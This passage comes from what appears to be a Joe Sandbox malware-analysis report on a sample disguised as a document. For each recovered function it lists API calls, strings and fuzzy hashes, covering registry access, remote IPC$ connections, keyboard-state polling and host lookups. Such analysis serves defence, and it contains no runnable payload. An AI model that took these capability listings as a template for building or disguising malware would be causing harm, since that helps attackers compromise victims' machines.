SelectObject.GDI32(00000006,?), ref: 0076A3BE
DeleteObject.GDI32(?), ref: 0076A3C7
DeleteDC.GDI32(00000006), ref: 0076A3CE
ReleaseDC.USER32(00000000,?), ref: 0076A3D9

Strings

(, xrefs: 0076A37E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 27ccd9006c1a1195589d72f38d84b1212d973b35921530d212abc132152dd1b7
Instruction ID: 342c9da3fb63eac1f3236c3f8f700a230a726d2f09080b2327e1e04644f6747f
Opcode Fuzzy Hash: 27ccd9006c1a1195589d72f38d84b1212d973b35921530d212abc132152dd1b7
Instruction Fuzzy Hash: BD513B76940309EFDB25CFA9C885EAEBBB9EF48310F14841EF956A7210C735AC418B54

Function 00773AF7 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00772AA6,?,?), ref: 00773B0E

Strings

HKU, xrefs: 00773C06
HKEY_CURRENT_USER, xrefs: 00773BD3
HKCC, xrefs: 00773BC2
|E|, xrefs: 00773B27
HKCR, xrefs: 00773B9C
HKCU, xrefs: 00773BE4
HKEY_CLASSES_ROOT, xrefs: 00773B87
HKEY_CURRENT_CONFIG, xrefs: 00773BB1
HKEY_USERS, xrefs: 00773BF5
HKLM, xrefs: 00773B72
HKEY_LOCAL_MACHINE, xrefs: 00773B5D

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU$|E|
API String ID: 3964851224-2413633094
Opcode ID: 3217daa7603802baedad45c4ee4e9d0267940028db62ebf8260d4940804a2eba
Instruction ID: d6699f4e1fa64b1fef66a84584c43dd12aaacf38951e0ca5064a6399022ef6c3
Opcode Fuzzy Hash: 3217daa7603802baedad45c4ee4e9d0267940028db62ebf8260d4940804a2eba
Instruction Fuzzy Hash: 1D41A03410024ACBDF05EF14E855BEA3372AF15380F14883DECA56B295DB3C9E1ADB61

Function 007532B0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00783C64,00000010,00000000,Bad directive syntax error,007ADBF0,00000000,?,00000000,?,>>>AUTOIT SCRIPT<<<), ref: 007532D1
LoadStringW.USER32(00000000,?,00783C64,00000010), ref: 007532D8

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

_wprintf.LIBCMT ref: 00753309
__swprintf.LIBCMT ref: 0075332B
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00753395

Strings

., xrefs: 0075337B
Error: , xrefs: 00753363
Line %d (File "%s"):, xrefs: 0075333B
%s (%d) : ==> %s.: %s %s, xrefs: 00753304
"}, xrefs: 00753338, 00753322, 007532FE
Line %d:, xrefs: 00753325

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:$"}
API String ID: 1506413516-3181106796
Opcode ID: 5d242b86937e30bfa84afa09836d3ff91dc6ce095a7985c2ec496a0e742b03b2
Instruction ID: e274f7b337d592753457b61de06bbe8d30bbf259d44e7b59e0b6559654f7a9d0
Opcode Fuzzy Hash: 5d242b86937e30bfa84afa09836d3ff91dc6ce095a7985c2ec496a0e742b03b2
Instruction Fuzzy Hash: 5E21717184421DFBDF11AFD0CC0AEEE7735BF14701F00845AB515710A2DABDAA58DBA0

Function 0075D520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 0075D567

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

LoadStringW.USER32(?,?,00000FFF,?), ref: 0075D589
__swprintf.LIBCMT ref: 0075D5DC
_wprintf.LIBCMT ref: 0075D68D
_wprintf.LIBCMT ref: 0075D6AB

Strings

"%s" (%d) : ==> %s:, xrefs: 0075D6A6
Line %d (File "%s"):, xrefs: 0075D5D6
Error: , xrefs: 0075D657
"%s" (%d) : ==> %s:%s%s, xrefs: 0075D688
^ ERROR, xrefs: 0075D631

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-2391861430
Opcode ID: 43f97de8b1dad62bc05f6c8a1a71868b3fb9763c5f5738f973ac407692fdb546
Instruction ID: 3a0a215f2ad1f84cbeb3cd7541c6beceed324b32bcd251e6d2b54b80fab0e347
Opcode Fuzzy Hash: 43f97de8b1dad62bc05f6c8a1a71868b3fb9763c5f5738f973ac407692fdb546
Instruction Fuzzy Hash: 53519471900109FACB25FBA4CD46EEEB779EF04301F108166F505B20A1EB796F98DBA1

Function 0075D338 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 0075D37F

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0075D3A0
__swprintf.LIBCMT ref: 0075D3F3
_wprintf.LIBCMT ref: 0075D499
_wprintf.LIBCMT ref: 0075D4B7

Strings

"%s" (%d) : ==> %s:, xrefs: 0075D4B2
^ ERROR , xrefs: 0075D432
Line %d (File "%s"):, xrefs: 0075D3ED
Error: , xrefs: 0075D463
"%s" (%d) : ==> %s:%s%s, xrefs: 0075D494

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-3420473620
Opcode ID: 79b7ec1df03d8f7f877fe118ded00f3471de73c521a4d3a78764e69c6fb17ef1
Instruction ID: 3438010a64ee55d0ac468245d4e5c9d634fda42caf8e27e013d968c43d5c1657
Opcode Fuzzy Hash: 79b7ec1df03d8f7f877fe118ded00f3471de73c521a4d3a78764e69c6fb17ef1
Instruction Fuzzy Hash: 8551A571900109FACB25FBE4CD4AEEEB779AF14701F108166B505720A1EB7D6F98CBA1

Function 0074AEE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

_memset.LIBCMT ref: 0074AF74
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 0074AFA9
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 0074AFC5
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 0074AFE1
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 0074B00B
CLSIDFromString.COMBASE(?,?), ref: 0074B033
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0074B03E
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0074B043

Strings

\CLSID, xrefs: 0074AF2B
SOFTWARE\Classes\, xrefs: 0074AF15
\IPC$, xrefs: 0074AF8B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: b84fb4a3b2c53a77adb2b3c5eb1482ac50b142f793fb9c5ce14e34c227781952
Instruction ID: 22e3a3be37991d1a0f25c3f22b7384e654200a80d6b2c71c8ef6729df58202a5
Opcode Fuzzy Hash: b84fb4a3b2c53a77adb2b3c5eb1482ac50b142f793fb9c5ce14e34c227781952
Instruction Fuzzy Hash: 47411976C10229EBCF11EFA8DC95DEEB7B8BF04700F404129E911B21A1EB789E45CB90

Function 00757212 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00757226
__swprintf.LIBCMT ref: 00757233

Part of subcall function 0073234B: __woutput_l.LIBCMT ref: 007323A4

FindResourceW.KERNEL32(?,?,0000000E), ref: 0075725D
LoadResource.KERNEL32(?,00000000), ref: 00757269
LockResource.KERNEL32(00000000), ref: 00757276
FindResourceW.KERNEL32(?,?,00000003), ref: 00757296
LoadResource.KERNEL32(?,00000000), ref: 007572A8
SizeofResource.KERNEL32(?,00000000), ref: 007572B7
LockResource.KERNEL32(?), ref: 007572C3
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00757322

Strings

L6|, xrefs: 0075721F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID: L6|
API String ID: 1433390588-1450050004
Opcode ID: 1ea0c8ef30300c1a99f5a0f702410d8caf9fe1cf980655625bd0aa6da935fc8b
Instruction ID: d3de6c23fc4dfe8c2a9a34965f13dc5be229fc5bcaf032512ad84c49199e989e
Opcode Fuzzy Hash: 1ea0c8ef30300c1a99f5a0f702410d8caf9fe1cf980655625bd0aa6da935fc8b
Instruction Fuzzy Hash: CA31BEB190425AABDB159F60EC89AEF7BB9FF08302F008426FD01D2151E77CD955DAA4

Function 007583D6 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0075843F
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00758455
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00758466
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00758478
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00758489

Strings

alias PlayMe, xrefs: 00758418
close PlayMe, xrefs: 00758450, 0075847D
open , xrefs: 007583EE
play PlayMe wait, xrefs: 00758473
play PlayMe, xrefs: 00758484
status PlayMe mode, xrefs: 0075843A

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 6197c5f907615d7f681011792b8a49903e4d36d9d9a37dedfe8a9dcd835b8fea
Instruction ID: e6bef35686193daa2e2fa08d4f0c2275d4ad02fff1ca3f68405b90fa28ba9dcf
Opcode Fuzzy Hash: 6197c5f907615d7f681011792b8a49903e4d36d9d9a37dedfe8a9dcd835b8fea
Instruction Fuzzy Hash: A011C8A1640159B9D710BBA5CC4AEFF7B7CEB91B00F40442D7811B20C0DEA85E49C9B1

Function 00758097 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0075809C

Part of subcall function 0072E3A5: timeGetTime.WINMM(?,75C0B400,00786163), ref: 0072E3A9

Sleep.KERNEL32(0000000A), ref: 007580C8
EnumThreadWindows.USER32(?,Function_0004804C,00000000), ref: 007580EC
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 0075810E
SetActiveWindow.USER32 ref: 0075812D
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0075813B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0075815A
Sleep.KERNEL32(000000FA), ref: 00758165
IsWindow.USER32 ref: 00758171
EndDialog.USER32(00000000), ref: 00758182

Strings

BUTTON, xrefs: 00758100

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: d3cff1a27dee026300921a542503bcf39badbbcc50f9377c93375b9ba03d7923
Instruction ID: 85ced2d7928b2dec3d66a0b5186670957ea2b4b8057d3ddd0884fd59097432b0
Opcode Fuzzy Hash: d3cff1a27dee026300921a542503bcf39badbbcc50f9377c93375b9ba03d7923
Instruction Fuzzy Hash: B221AA70201645BFE7615B61EC49B763B3AF70438AF04821AF905A3261CFBE4D0A8B1B

Function 007578EE Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 00757909
gethostname.WS2_32(?,00000100), ref: 00757923
gethostbyname.WS2_32(?), ref: 00757930
_wcscpy.LIBCMT ref: 00757958
_memmove.LIBCMT ref: 0075796B
inet_ntoa.WS2_32(?), ref: 00757976
_strcat.LIBCMT ref: 00757984
_wcscpy.LIBCMT ref: 0075799B
WSACleanup.WS2_32 ref: 007579A9
_wcscpy.LIBCMT ref: 007579B7

Strings

0.0.0.0, xrefs: 00757952

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 44c6d5f39d77699ee8016bf8f7899b7975bfa3dc072c1b4bd6184e2c1e9cb836
Instruction ID: 0b241d5d7a7855c710de139b386b054d1712a0a31240783f2362ff8f52e60ce2
Opcode Fuzzy Hash: 44c6d5f39d77699ee8016bf8f7899b7975bfa3dc072c1b4bd6184e2c1e9cb836
Instruction Fuzzy Hash: 7E110571908115ABDB34A770AC4AEDE337CEB05721F004066F84992091EFBCEE85C6A4

Function 007608D9 Relevance: 18.2, APIs: 12, Instructions: 196COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0076090D
_memset.LIBCMT ref: 00760928
CoInitialize.OLE32(00000000), ref: 0076093B
SHGetMalloc.SHELL32(?), ref: 00760945
CoUninitialize.COMBASE ref: 0076094F
_wcscpy.LIBCMT ref: 00760993
SHGetDesktopFolder.SHELL32(?), ref: 007609F5
_wcscpy.LIBCMT ref: 00760A1B
_wcscpy.LIBCMT ref: 00760A77
SHBrowseForFolderW.SHELL32 ref: 00760AA2
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00760AC5
CoUninitialize.COMBASE ref: 00760B11

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _wcscpy$FolderUninitialize_memset$BrowseDesktopFromInitializeListMallocPath
String ID:
API String ID: 3566271842-0
Opcode ID: 17001cad1b48132ada953eaba1f8bcf207a941ce19fa499b6de180c3e1e86f9f
Instruction ID: 8e913378d8f7c25b989bd003c30930bf8d1368ca0ab2bfdb8e3292a3d357f7b6
Opcode Fuzzy Hash: 17001cad1b48132ada953eaba1f8bcf207a941ce19fa499b6de180c3e1e86f9f
Instruction Fuzzy Hash: 86711175900219EFDB10DFA4C989ADEB7B9FF49310F048096E90AAB251D778EE41CF94

Function 0075388D Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00753908
SetKeyboardState.USER32(?), ref: 00753973
GetAsyncKeyState.USER32(000000A0), ref: 00753993
GetKeyState.USER32(000000A0), ref: 007539AA
GetAsyncKeyState.USER32(000000A1), ref: 007539D9
GetKeyState.USER32(000000A1), ref: 007539EA
GetAsyncKeyState.USER32(00000011), ref: 00753A16
GetKeyState.USER32(00000011), ref: 00753A24
GetAsyncKeyState.USER32(00000012), ref: 00753A4D
GetKeyState.USER32(00000012), ref: 00753A5B
GetAsyncKeyState.USER32(0000005B), ref: 00753A84
GetKeyState.USER32(0000005B), ref: 00753A92

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: dd4d791fec56e9f4c107c16598a8b007eec691c0d1ab31ddb71dd8afe4080952
Instruction ID: 533fc59630f69c0d479e26b357de01f2773a9dfb694ab6d0df6348b80a56c2ba
Opcode Fuzzy Hash: dd4d791fec56e9f4c107c16598a8b007eec691c0d1ab31ddb71dd8afe4080952
Instruction Fuzzy Hash: 1451FA60A047C869FB35DBA488157EAAFB45F013C5F08858DD9C25A1D2DBDCAB8CC771

Function 0074FAFD Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0074FB19
GetWindowRect.USER32(00000000,?), ref: 0074FB2B
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0074FB89
GetDlgItem.USER32(?,00000002), ref: 0074FB94
GetWindowRect.USER32(00000000,?), ref: 0074FBA6
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0074FBFC
GetDlgItem.USER32(?,000003E9), ref: 0074FC0A
GetWindowRect.USER32(00000000,?), ref: 0074FC1B
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0074FC5E
GetDlgItem.USER32(?,000003EA), ref: 0074FC6C
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0074FC89
InvalidateRect.USER32(?,00000000,00000001), ref: 0074FC96

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 77377e7f76a6263f3f394f5d997d8be9a63b40ad1c90ac843146d4a1317f6611
Instruction ID: a1206f42831ab8796884013ff91b168bcfc396de2209040d83832f3fc703c3de
Opcode Fuzzy Hash: 77377e7f76a6263f3f394f5d997d8be9a63b40ad1c90ac843146d4a1317f6611
Instruction Fuzzy Hash: 67511EB1B00209AFDB18DF69DD95AAEBBBAEB88350F14813DF919D7290D7749D01CB10

Function 0072B039 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

